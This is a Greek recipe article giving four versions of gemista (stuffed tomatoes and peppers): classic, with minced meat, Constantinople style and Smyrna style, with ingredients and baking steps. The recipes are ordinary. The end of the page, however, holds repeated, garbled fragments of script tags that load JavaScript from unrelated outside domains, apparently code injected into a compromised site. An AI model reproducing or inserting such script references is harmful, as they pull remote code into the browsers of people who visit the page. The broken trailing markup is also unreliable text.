Γεμιστά: Συνταγές για το απόλυτα καλοκαιρινό πιάτο

gemista

Είναι μεσημέρι, γυρίζουμε από την θάλασσα, το τραπέζι στην αυλή στρώνεται με μουσαμά και πάνω του προσγειώνεται ένα αχνιστό πυρέξ με γεμιστά. Αν αυτή είναι μια χαρακτηριστική εικόνα και από τις δικές σας σχολικές διακοπές, τις συνταγές που ακολουθούν θα τις εκτιμήσετε (και) για το άρωμα που θα σας γυρίσει πολλά καλοκαίρια πίσω.

«Κλασικά» γεμιστά

Υλικά
12-15 ντομάτες, πιπεριές πράσινες ή κοκκινες, κολοκυθάκια, μελιτζάνες ή ό,τι μας αρέσει
λάδι
200 γρ. ρύζι
4 κρεμμύδια ξερά
4 σκελίδες σκόρδο
2 καρότα
1 ματσάκι μαϊντανό ψιλοκομμένο
λίγο δυόσμο και μάραθο (αν έχουμε)
λίγη φρυγανιά τριμμένη
πατάτες
αλάτι, πιπέρι

Εκτέλεση
Κόβουμε ένα καπάκι από τα λαχανικά μας και τα αδειάζουμε. Κρατάμε την ψίχα. Τοποθετούμε τα λαχανικά σε ταψί και τα πασπαλίζουμε εσωτερικά λίγο αλατοπίπερο και λίγη ζάχαρη. Βάζουμε σε μεγάλο πολυκόφτη την ψίχα από όλα τα λαχανικά, τα καρότα, τα κρεμμύδια, το σκόρδο, το μαϊντανό, το δυόσμο και το μάραθο και τα κόβουμε όλα ψιλά.

Τα βάζουμε όλα σε μια κατσαρόλα, με λίγο λάδι, λίγο νερό, το ρύζι και αλατοπίπερο και τα αφήνουμε να βράσουν για λίγο (προαιρετικά –μπορούμε και να το παραλείψουμε το βράσιμο). Γεμίζουμε τα λαχανικά, τα σκεπάζουμε με τα καπάκια τους, ρίχνουμε από πάνω λάδι και τα πασπαλίζουμε με τη φρυγανιά.

Καθαρίζουμε τις πατάτες και τις κόβουμε κυδωνάτες, τις τοποθετούμε στο ταψί ανάμεσα στα γεμιστά και τις αλατοπιπερώνουμε. Μπορούμε να ρίξουμε από πάνω τυχόν γέμιση που μας έμεινε. Μαγειρεύουμε για μία ώρα περίπου στους 180.

Γεμιστά με κιμά

Υλικά
8 ντομάτες
10 πιπεριές
750 γρ. κιμά μοσχαρίσιο
220 γρ. ρύζι καρολίνα
2 μεγάλα κρεμμύδια
1 γεμάτη κούπα μαϊντανό ψιλοκομμένο
μισή κούπα δυόσμο φρέσκο ψιλοκομμένο
1 κουταλάκι ζάχαρη
αλάτι – πιπέρι

Εκτέλεση
Πλένουμε καλά τα λαχανικά. Κόβουμε προσεκτικά το καπάκι τους, προσέχοντας να μην αποκολληθεί τελείως. Αφαιρούμε τους σπόρους από τις πιπεριές και τις βάζουμε ανάποδα σε ένα ταψί. Αφαιρούμε με ένα κουταλάκι την εσωτερική σάρκα από τις ντομάτες και την βάζουμε σε ένα βαθύ μπολ. Δεν στραγγίζουμε τις ντομάτες από τα υγρά τους, τα αφήνουμε και αυτά στο μπολ όπου βάλαμε την σάρκα τους, την οποία και ψιλοκόβουμε με ένα μαχαιράκι. Τις άδειες ντομάτες τις πασπαλίζουμε εσωτερικά με λίγη ζάχαρη και τις βάζουμε και αυτές ανάποδα στο ταψί, μαζί με τις πιπεριές.

Ετοιμάζουμε την γέμιση, ως εξής: Κόβουμε τα κρεμμύδια σε φέτες και τα σοτάρουμε σε αρκετό ελαιόλαδο, να μαλακώσουν και να γυαλίσουν. Προσθέτουμε τον κιμά, και ανακατεύουμε συνέχεια μέχρι να αλλάξει χρώμα. Προσθέτουμε το περιεχόμενο του μπολ, δηλαδή την σάρκα και τα υγρά από τις ντομάτες που αδειάσαμε και ανακατεύουμε για 1-2 λεπτά. Στην συνέχεια προσθέτουμε τον μαϊντανό, τον δυόσμο, την ζάχαρη, αλάτι, πιπέρι και το ρύζι. Στο σημείο αυτό αρχίζουμε να ανακατεύουμε όλα τα υλικά για 4-5 λεπτά. Νερό δεν χρειάζεται να προσθέσουμε καθόλου –γι’ αυτό αφήσαμε να υπάρχουν και τα υγρά από τις ντομάτες. Αποσύρουμε την κατσαρόλα από την φωτιά και την αφήνουμε για 15-20 λεπτά στην άκρη. Στο διάστημα αυτό το ρύζι θα φουσκώσει και θα απορροφήσει τυχόν υγρά.

Γεμίζουμε με το μείγμα κιμά-ρυζιού τις ντοματοπιπεριές μας. Τις περιχύνουμε με αρκετό λάδι και προσθέτουμε στο ταψί και λίγο νερό. Ψήνουμε σε προθερμασμένο φούρνο, στους 180 βαθμούς, σε ξεσκέπαστο ταψί, φροντίζοντας κατά διαστήματα να τις περιχύνουμε με τα υγρά του ταψιού.

Και ένα ενδιαφέρον «κόλπο» για το τέλος: 10-15 λεπτά πριν ολοκληρωθεί το ψήσιμο, βάζουμε κάτω από τα καπάκια των λαχανικών ένα κομμάτι τυρί φέτα, που ψήνεται κι αυτή και δίνει έξτρα νοστιμιά.

Πολίτικα γεμιστά

Υλικά
6 πιπεριές για γέμισμα
6 ντομάτες ώριμες
250-300γρ. ρύζι γλασέ ή καρολίνα (υπολογίζουμε 2 κ.σ. ρύζι για κάθε μέτριου μεγέθους πιπεριά ή ντομάτα)
2 κρεμμύδια ψιλοκομμένα
1 φλιτζ. χυμό ντομάτας
1 φλιτζ. ελαιόλαδο
½ ματσάκι μαϊντανό ψιλοκομμένο
½ ματσάκι δυόσμο ψιλοκομμένο
3 κ.σ. κουκουνάρι
4 κ.σ. σταφίδες
αλάτι
πιπέρι

Εκτέλεση
Καθαρίζουμε τις πιπεριές, τις πλένουμε εξωτερικά, κόβουμε ένα οριζόντιο κομμάτι από την πάνω πλευρά τους και αφαιρούμε τα σπόρια. Καθαρίζουμε τις ντομάτες, τις πλένουμε εξωτερικά, κόβουμε ένα οριζόντιο κομμάτι από την κάτω πλευρά τους και αδειάζουμε τη σάρκα τους με κουταλάκι. Την σάρκα τους την κρατάμε και την περνάμε από μπλέντερ.

Σε κατσαρόλα βάζουμε το μισό λάδι να ζεσταθεί και σοτάρουμε το κρεμμύδι και το κουκουνάρι για 4 περίπου λεπτά. Μόλις μαραθεί το κρεμμύδι προσθέτουμε τις σάρκες από τις ντομάτες, τις σταφίδες και τα μπαχαρικά. Αφήνουμε να σιγοβράσουν για 10 λεπτά σε μέτρια θερμοκρασία. Πλένουμε το ρύζι και το προσθέτουμε στη κατσαρόλα. Ανακατεύουμε για να μην κολλήσει και προσθέτουμε και τον μαϊντανό και τον δυόσμο. Σιγοβράζουμε τη γέμιση για 5 λεπτά και αποσύρουμε από την φωτιά.

Γεμίζουμε τις ντομάτες και τις πιπεριές (όχι μέχρι πάνω, γιατί το ρύζι διογκώνεται κατά το ψήσιμο) και τις βάζουμε σε ταψί. Αλατίζουμε από πάνω και περιχύνουμε με το υπόλοιπο λάδι και το 1 φλιτζ. ντομάτα. Προθερμαίνουμε το φούρνο στους 200 °C. Βάζουμε λίγο νεράκι στο ταψί και το τοποθετούμε στο φούρνο. Χαμηλώνουμε τη θερμοκρασία στους 180 °C και ψήνουμε για περίπου 1 ½ ώρα.

Σμυρνέικα γεμιστά

Υλικά
6 – 8 πιπεριές πράσινες σκούρες, πράσινες ανοιχτές, κίτρινες, κόκκινες ή πορτοκαλί, μεσαίου μεγέθους
6 – 8 ντομάτες μεσαίες (κόκκινες ή/και μαύρες που γίνονται εξαιρετικά νόστιμες)
4 κολοκύθια στρογγυλά (προαιρετικά)
2-3 μελιτζάνες άσπρες (προαιρετικά)
1 μεγάλο κρεμμύδι άσπρο ψιλοκομμένο (ή 2 μικρά)
4-5 πατάτες κομμένες καρέ
1 κουτί ψιλοκομμένη ντομάτα
1 κουτί χυμό ντομάτας
2 φακελάκια ντοματοπολτό
70γρ. (4 κ.σ.) μαύρη σταφίδα
70 γρ. (4 κ.σ.) κουκουνάρι
4 κ.σ. δυόσμο ξερό
3 – 4 κ.σ. ψιλοκομμένο μαϊντανό
100 γρ. τριμμένο τυρί ρεγκάτο ή γκούντα
2 κ.γ. ζάχαρη μαύρη
200 ml. ελαιόλαδο
50 ml. νερό
2 κ.γ. τριμμένη φρυγανιά
αλάτι, πιπέρι
1 ½ φλ. τσαγ. ρύζι μακρύκοκκο Parboiled (προτιμώ Agrino)
½ φλυτζάνι πληγούρι

Εκτέλεση
Κόβουμε το καπάκι από τις πιπεριές, πετάμε τους σπόρους, αφαιρούμε και κρατάμε όλο το σαρκώδες ασπροπράσινο εσωτερικό κάτω απ’ το καπάκι και τα «νεύρα» τους (είναι πολύ σημαντικό να κρατήσουμε όλο το εσωτερικό γιατί είναι το βασικότερο στοιχείο που δίνει γεύση στην γέμιση). Κάνουμε το ίδιο με τα κολοκύθια, τις ντομάτες και τις μελιτζάνες (τελευταίες στη σειρά). Περνάμε στον τρίφτη όλη την εσωτερική σάρκα που αφαιρέσαμε από τα λαχανικά.

Σε μεγάλο βαθύ τηγάνι με λίγο λάδι τσιγαρίζουμε το κρεμμύδι για 4 λεπτά, σε χαμηλή φωτιά. Ρίχνουμε το μείγμα των τριμμένων εσωτερικών από πιπεριά, κολοκύθι, μελιτζάνα και ντομάτα και ανακατεύουμε καλά. Προσθέτουμε το κουτί ψιλοκομμένης ντομάτας και το μισό φακελάκι ντοματοπολτό, το 1 κ.γ. ζάχαρης, τον δυόσμο, τον μαϊντανό, το κουκουνάρι, τη σταφίδα, αλάτι και πιπέρι. Ανακατεύουμε καλά και αφήνουμε για 10 λεπτά περίπου να πάρουν βράση. Προσθέτουμε το ρύζι και το πληγούρι και ανακατεύοντας μαγειρεύουμε για 5 λεπτά. Σβήνουμε τη φωτιά και ρίχνουμε τα 80 γραμ. τυριού, ανακατεύουμε και αδειάζουμε την γέμιση σε μεγάλο μπολ.

Με ένα κουτάλι γεμίζουμε κάθε λαχανικό με το μείγμα γέμισης (όχι ασφυκτικά). Αν περισσέψει λίγη γέμιση, τη ρίχνουμε ανάμεσά τους (γίνεται πεντανόστιμη η σάλτσα). Βάζουμε τα καπάκια και πάνω στο κέντρο τους, ρίχνουμε λίγο ντοματοπολτό (το υπόλοιπο μισό από το πρώτο φακελάκι), φρυγανιά, τυρί και τέλος λίγο λάδι, με αυτή τη σειρά. Ρίχνουμε ανάμεσά τους ομοιόμορφα τον χυμό ντομάτας, τον δεύτερο ντοματοπολτό, το δεύτερο κ.γ. ζάχαρης, αλάτι, πιπέρι, το υπόλοιπο ελαιόλαδο (γύρω στα 180 ml) και τα 50ml νερό.

Βάζουμε το ταψί στον φούρνο που έχουμε προθερμάνει στους 200 βαθμούς και ψήνουμε για περίπου 1 ώρα και 40 λεπτά έως 2 ώρες, ανάλογα με το φούρνο και πόσο «ξεροψημένα» τα θέλουμε, ρίχνοντας κάθε μισή ώρα σάλτσα πάνω τους. Τα βγάζουμε από τον φούρνο τα αφήνουμε τουλάχιστον μία ώρα πριν τα σερβίρουμε (δύο ώρες, ακόμη καλύτερα).___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >